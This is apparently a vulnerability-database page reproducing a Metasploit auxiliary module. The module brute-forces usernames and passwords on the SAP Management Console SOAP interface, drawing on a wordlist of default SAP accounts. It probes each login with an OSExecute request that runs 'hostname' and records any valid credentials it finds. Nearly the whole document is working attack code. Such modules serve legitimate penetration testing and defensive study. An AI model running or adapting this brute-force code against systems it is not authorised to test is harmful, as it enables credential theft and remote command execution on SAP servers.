SAP Management Console Brute Force

2011-03-02T18:46:00
ID MSF:AUXILIARY/SCANNER/SAP/SAP_MGMT_CON_BRUTE_LOGIN
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module simply attempts to brute force the username and password for the SAP Management Console SOAP Interface. If the SAP_SID value is set it will replace instances of <SAPSID> in any user/pass from any wordlist.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule &lt; Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::AuthBrute

  def initialize
    super(
      'Name'           =&gt; 'SAP Management Console Brute Force',
      'Description'    =&gt; %q{
        This module simply attempts to brute force the username and
        password for the SAP Management Console SOAP Interface. If
        the SAP_SID value is set it will replace instances of &lt;SAPSID&gt;
        in any user/pass from any wordlist.
        },
      'References'     =&gt;
        [
          # General
          [ 'URL', 'http://blog.c22.cc' ]
        ],
      'Author'         =&gt; [ 'Chris John Riley' ],
      'License'        =&gt; MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(50013),
        OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', nil]),
        OptString.new('TARGETURI', [false, 'Path to the SAP Management Console ', '/']),
        OptPath.new('USER_FILE', [ false, "File containing users, one per line",
                                   File.join(Msf::Config.data_directory, "wordlists", "sap_common.txt") ])
      ])
    register_autofilter_ports([ 50013 ])

    deregister_options('HttpUsername', 'HttpPassword')
  end

  def run_host(rhost)
    uri = normalize_uri(target_uri.path)
    res = send_request_cgi({
      'uri'     =&gt; uri,
      'method'  =&gt; 'GET'
    })

    if not res
      print_error("#{peer} [SAP] Unable to connect")
      return
    end

    print_status("SAPSID set to '#{datastore['SAP_SID']}'") if datastore['SAP_SID']

    each_user_pass do |user, pass|
      enum_user(user,pass,uri)
    end

  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def enum_user(user, pass, uri)

    # Replace placeholder with SAP SID, if present
    if datastore['SAP_SID']
      user = user.gsub("&lt;SAPSID&gt;", datastore["SAP_SID"].downcase)
      pass = pass.gsub("&lt;SAPSID&gt;", datastore["SAP_SID"])
    end

    print_status("Trying username:'#{user}' password:'#{pass}'")
    success = false

    soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
    xsi = 'http://www.w3.org/2001/XMLSchema-instance'
    xs = 'http://www.w3.org/2001/XMLSchema'
    sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
    ns1 = 'ns1:OSExecute'

    data = '&lt;?xml version="1.0" encoding="utf-8"?&gt;' + "\r\n"
    data &lt;&lt; '&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"  xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '"&gt;' + "\r\n"
    data &lt;&lt; '&lt;SOAP-ENV:Header&gt;' + "\r\n"
    data &lt;&lt; '&lt;sapsess:Session xlmns:sapsess="' + sapsess + '"&gt;' + "\r\n"
    data &lt;&lt; '&lt;enableSession&gt;true&lt;/enableSession&gt;' + "\r\n"
    data &lt;&lt; '&lt;/sapsess:Session&gt;' + "\r\n"
    data &lt;&lt; '&lt;/SOAP-ENV:Header&gt;' + "\r\n"
    data &lt;&lt; '&lt;SOAP-ENV:Body&gt;' + "\r\n"
    data &lt;&lt; '&lt;' + ns1 + ' xmlns:ns1="urn:SAPControl"&gt;&lt;command&gt;hostname&lt;/command&gt;&lt;async&gt;0&lt;/async&gt;&lt;/' + ns1 + '&gt;' + "\r\n"
    data &lt;&lt; '&lt;/SOAP-ENV:Body&gt;' + "\r\n"
    data &lt;&lt; '&lt;/SOAP-ENV:Envelope&gt;' + "\r\n\r\n"

    user_pass = Rex::Text.encode_base64(user + ":" + pass)

    begin
      res = send_request_raw({
        'uri'      =&gt; uri,
        'method'   =&gt; 'POST',
        'data'     =&gt; data,
        'headers'  =&gt;
          {
            'Content-Length' =&gt; data.length,
            'SOAPAction'     =&gt; '""',
            'Content-Type'   =&gt; 'text/xml; charset=UTF-8',
            'Authorization'  =&gt; 'Basic ' + user_pass
          }
      })

      return unless res

      if (res.code != 500 and res.code != 200)
        return
      else
        body = res.body
        if body.match(/Invalid Credentials/i)
          success = false
        else
          success = true
          if body.match(/Permission denied/i)
            permission = false
          end

          if body.match(/OSExecuteResponse/i)
            permission = true
          end
        end
      end

    rescue ::Rex::ConnectionError
      print_error("#{peer} [SAP] Unable to connect")
      return
    end

    if success
      print_good("#{peer} [SAP] Successful login '#{user}' password: '#{pass}'")

      if permission
        vprint_good("#{peer} [SAP] Login '#{user}' authorized to perform OSExecute calls")
      else
        vprint_error("#{peer} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls")
      end

      report_cred(
        ip: rhost,
        port: port,
        user: user,
        password: pass,
        service_name: 'sap-managementconsole',
        proof: res.body
      )
    else
      vprint_error("#{peer} [SAP] failed to login as '#{user}':'#{pass}'")
    end
  end
end